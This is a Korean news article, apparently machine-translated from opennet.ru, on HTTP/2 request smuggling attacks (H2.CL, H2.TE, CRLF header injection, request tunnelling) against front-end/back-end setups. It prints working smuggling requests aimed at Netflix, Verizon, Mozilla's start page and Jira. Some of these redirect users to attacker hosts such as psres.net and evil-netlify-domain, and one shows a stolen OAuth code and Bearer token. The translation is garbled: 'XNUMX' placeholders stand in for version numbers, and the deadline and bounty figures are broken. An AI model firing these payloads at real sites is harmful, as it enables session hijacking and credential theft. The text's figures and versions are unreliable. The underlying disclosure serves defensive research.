요청에 개입할 수 있는 프런트엔드-백엔드 시스템에 대한 새로운 공격

프런트 엔드가 HTTP/2를 통해 연결을 수락하고 이를 HTTP/1.1을 통해 백엔드로 전송하는 웹 시스템은 "HTTP 요청 스머글링(HTTP Request Smuggling)" 공격의 새로운 변종에 노출되었습니다. 프런트엔드와 백엔드 사이에서 동일한 흐름으로 처리되는 다른 사용자의 요청 내용에 쐐기를 박습니다. 이 공격은 합법적인 웹사이트의 세션에 악성 JavaScript 코드를 삽입하고, 접근 제한 시스템을 우회하고, 인증 매개변수를 가로채는 데 사용될 수 있습니다.

이 문제는 요청이 프런트엔드에서 백엔드 방식으로 리디렉션되는 웹 프록시, 로드 밸런서, 웹 가속기, 콘텐츠 전달 시스템 및 기타 구성에 영향을 미칩니다. 연구 작성자는 Netflix, Verizon, Bitbucket, Netlify CDN 및 Atlassian 시스템을 공격할 수 있는 가능성을 입증했으며, 취약점 식별에 대한 보상 프로그램으로 56달러를 받았습니다. F5네트웍스 제품에서도 문제가 확인되었습니다. 이 문제는 Apache http 서버(CVE-2021-33193)의 mod_proxy에 부분적으로 영향을 미치며 버전 2.4.49에서 수정이 예상됩니다(개발자에게 3월 초에 문제에 대한 알림이 전달되었으며 수정을 위해 1.21.1개월의 시간이 주어졌습니다). nginx에서는 "Content-Length" 및 "Transfer-Encoding" 헤더를 동시에 지정하는 기능이 마지막 릴리스(XNUMX)에서 차단되었습니다. 공격 도구는 이미 Burp 도구 키트에 포함되어 있으며 Turbo Intruder 확장 형식으로 사용할 수 있습니다.

요청을 트래픽에 연결하는 새로운 방법의 작동 원리는 1.1년 전 동일한 연구원이 식별한 취약점과 유사하지만 HTTP/XNUMX을 통해 요청을 수락하는 프런트엔드로 제한됩니다. 프런트엔드-백엔드 구성표에서 클라이언트 요청은 추가 노드, 즉 요청을 직접 처리하는 백엔드와 오랫동안 지속되는 TCP 연결을 설정하는 프런트엔드에 의해 수신된다는 점을 기억해 보겠습니다. 이 공통 연결을 통해 일반적으로 서로 다른 사용자의 요청이 전송되며, 이는 HTTP 프로토콜을 통해 분리되어 체인을 따라 차례로 전송됩니다.

고전적인 "HTTP 요청 밀수" 공격은 프런트엔드와 백엔드가 HTTP 헤더 "Content-Length"(요청에 있는 데이터의 전체 크기를 결정) 및 "Transfer-Encoding: 청크"(청크 허용)의 사용을 해석한다는 사실을 기반으로 합니다. 부분적으로 전송되는 데이터)가 다릅니다. . 예를 들어 프런트엔드가 "Content-Length"만 지원하고 "Transfer-Encoding: 청크 분할"을 무시하는 경우 공격자는 "Content-Length" 및 "Transfer-Encoding: 청크 분할" 헤더를 모두 포함하는 요청을 보낼 수 있지만 크기는 "Content-Length"이며 청크 체인의 크기와 일치하지 않습니다. 이 경우 프런트엔드는 "Content-Length"에 따라 요청을 처리하고 리디렉션하며, 백엔드는 "Transfer-Encoding: Chunked"를 기반으로 블록이 완료될 때까지 기다리며 공격자 요청의 나머지 부분은 다음에 전송되는 다른 사람의 요청 시작 부분에 있어야 합니다.

라인 수준에서 구문 분석되는 텍스트 프로토콜 HTTP/1.1과 달리 HTTP/2는 바이너리 프로토콜이며 미리 지정된 크기의 데이터 블록을 조작합니다. 그러나 HTTP/2는 일반 HTTP 헤더에 해당하는 의사 헤더를 사용합니다. HTTP/1.1 프로토콜을 통해 백엔드와 상호 작용하는 경우 프런트엔드는 이러한 의사 헤더를 유사한 HTTP 헤더 HTTP/1.1로 변환합니다. 문제는 백엔드가 원래 요청의 매개변수에 대한 정보 없이 프런트엔드에서 설정한 HTTP 헤더를 기반으로 스트림 구문 분석에 대한 결정을 내린다는 것입니다.

특히, “content-length”와 “transfer-encoding” 값은 모든 데이터의 크기가 결정되기 때문에 HTTP/2에서는 사용되지 않음에도 불구하고 의사 헤더 형태로 전송될 수 있습니다. 별도의 필드에 있습니다. 그러나 HTTP/2 요청을 HTTP/1.1로 변환하는 과정에서 이러한 헤더가 전달되어 백엔드를 혼란스럽게 할 수 있습니다. 두 가지 주요 공격 변형이 있습니다: H2.TE 및 H2.CL. 이 경우 프런트엔드가 수신한 요청 본문의 실제 크기와 일치하지 않는 잘못된 전송 인코딩 또는 콘텐츠 길이 값으로 인해 백엔드가 잘못 유도됩니다. HTTP/2 프로토콜.

H2.CL 공격의 예로는 Netflix에 HTTP/2 요청을 보낼 때 콘텐츠 길이 의사 헤더에 잘못된 크기를 지정하는 것입니다. 이 요청으로 인해 HTTP/1.1을 통해 백엔드에 액세스할 때 유사한 HTTP 헤더 Content-Length가 추가되지만 Content-Length의 크기가 실제 크기보다 작게 지정되므로 tail의 데이터 일부가 다음 요청의 시작

예를 들어 HTTP/2를 요청합니다. :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

요청이 백엔드로 전송됩니다. POST /n HTTP/1.1 호스트: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 호스트: 02.rs?x.netflix.com Foo: bar

Content-Length의 값이 4이므로 백엔드는 요청 본문으로 "abcd"만 허용하고 "GET /n HTTP/1.1..."의 나머지 부분은 후속 요청의 시작으로 처리됩니다. 다른 사용자와 연결됩니다. 따라서 스트림은 비동기화되고 다음 요청에 대한 응답으로 더미 요청 처리 결과가 발행됩니다. Netflix의 경우 더미 요청의 "Host:" 헤더에 타사 호스트를 지정하면 클라이언트가 "위치: https://02.rs?x.netflix.com/n" 응답을 반환하고 Netflix 사이트의 컨텍스트에서 JavaScript 코드 실행을 포함하여 임의의 콘텐츠가 클라이언트에 전송되도록 허용했습니다.

두 번째 공격 옵션(H2.TE)은 "Transfer-Encoding: Chunked" 헤더를 대체하는 것입니다. HTTP/2에서 전송 인코딩 의사 헤더의 사용은 사양에 의해 금지되어 있으며 이를 사용한 요청은 잘못된 것으로 처리되도록 규정되어 있습니다. 그럼에도 불구하고 일부 프런트엔드 구현에서는 이 요구 사항을 고려하지 않고 유사한 HTTP 헤더로 변환되는 HTTP/2의 전송 인코딩 의사 헤더 사용을 허용합니다. "전송 인코딩" 헤더가 있는 경우 백엔드는 이를 더 높은 우선순위로 취하고 "{size}\r\n{block" 형식의 다양한 크기 블록을 사용하여 "청크" 모드에서 데이터를 하나씩 구문 분석할 수 있습니다. }\r\n{size} \r\n{block}\r\n0", 전체 크기로 초기 분할에도 불구하고.

이러한 격차의 존재는 Verizon의 사례에서 입증되었습니다. 문제는 Huffington Post 및 Engadget과 같은 사이트에서도 사용되는 인증 포털 및 콘텐츠 관리 시스템과 관련이 있습니다. 예를 들어 HTTP/2를 통한 클라이언트 요청: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding Chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

백엔드에 HTTP/1.1 요청을 보낸 결과: POST /identity/XUI HTTP/1.1 호스트: id.b2b.oath.com 콘텐츠 길이: 66 전송 인코딩: 청크 0 GET /oops HTTP/1.1 호스트: psres. 순 콘텐츠- 길이: 10x=

그러면 백엔드는 "Content-Length" 헤더를 무시하고 "Transfer-Encoding: Chunked"를 기반으로 인스트림 분할을 수행했습니다. 실제로 이 공격을 통해 OAuth 인증과 관련된 요청을 가로채는 것(Referer 헤더에 매개변수가 표시됨), 인증 세션을 시뮬레이션하고 사용자 시스템이 자격 증명을 보내도록 트리거하는 등 사용자 요청을 웹 사이트로 리디렉션하는 것이 가능해졌습니다. 공격자의 호스트에. GET /b2blanding/show/oops HTTP/1.1 호스트: psres.net 추천자: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 호스트: psres.net 인증: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

전송 인코딩 의사 헤더 지정을 허용하지 않는 HTTP/2 구현을 공격하기 위해 "Transfer-Encoding" 헤더를 개행 문자로 구분된 다른 의사 헤더에 첨부하여 대체하는 또 다른 방법이 제안되었습니다( 이 경우 HTTP/1.1로 변환하면 두 개의 별도 HTTP 헤더가 생성됩니다.

예를 들어 Atlassian Jira 및 Netlify CDN(Firefox에서 Mozilla 시작 페이지를 제공하는 데 사용됨)이 이 문제의 영향을 받았습니다. 특히 HTTP/2 요청 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: Chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n 콘텐츠 길이: 5\r\n \r\nx=

결과적으로 HTTP/1.1 POST/HTTP/1.1 요청이 백엔드로 전송되었습니다.\r\n 호스트: start.mozilla.org\r\n Foo: b\r\n 전송 인코딩: 청크\r\n 콘텐츠 길이 : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n 호스트: evil-netlify-domain\r\n 콘텐츠 길이: 5\r\n \r \nx=

"Transfer-Encoding" 헤더를 대체하는 또 다른 옵션은 이를 다른 의사 헤더의 이름이나 요청 메소드가 있는 행에 첨부하는 것입니다. 예를 들어 Atlassian Jira에 액세스할 때 값이 "chunked"인 의사 헤더 이름 "foo: bar\r\ntransfer-encoding"으로 인해 HTTP 헤더 "foo: bar" 및 "transfer-encoding: Chunked"가 추가되었습니다. , 의사 헤더 ":method" 값 "GET / HTTP/1.1\r\nTransfer-encoding: 청크됨"을 지정하면 "GET / HTTP/1.1\r\ntransfer-encoding: 청크됨"으로 변환되었습니다.

문제를 파악한 연구원은 프런트엔드를 공격하기 위한 요청 터널링 기술도 제안했는데, 이 기술에서는 각 IP 주소가 백엔드에 별도의 연결을 설정하고 서로 다른 사용자의 트래픽이 혼합되지 않습니다. 제안된 기술은 다른 사용자의 요청을 방해하는 것을 허용하지 않지만, 다른 요청의 처리에 영향을 미치는 공유 캐시를 오염시킬 수 있으며, 프런트엔드에서 백엔드로 서비스 정보를 전송하는 데 사용되는 내부 HTTP 헤더를 대체할 수 있습니다. 예를 들어 프런트엔드 측에서 인증할 때 이러한 헤더는 현재 사용자에 대한 정보를 백엔드로 전송할 수 있습니다. 이 방법을 실제로 적용한 예로 캐시 포이즈닝(Cache Poisoning)을 이용하면 Bitbucket 서비스에서 페이지에 대한 제어권을 얻는 것이 가능했다.

출처 : opennet.ru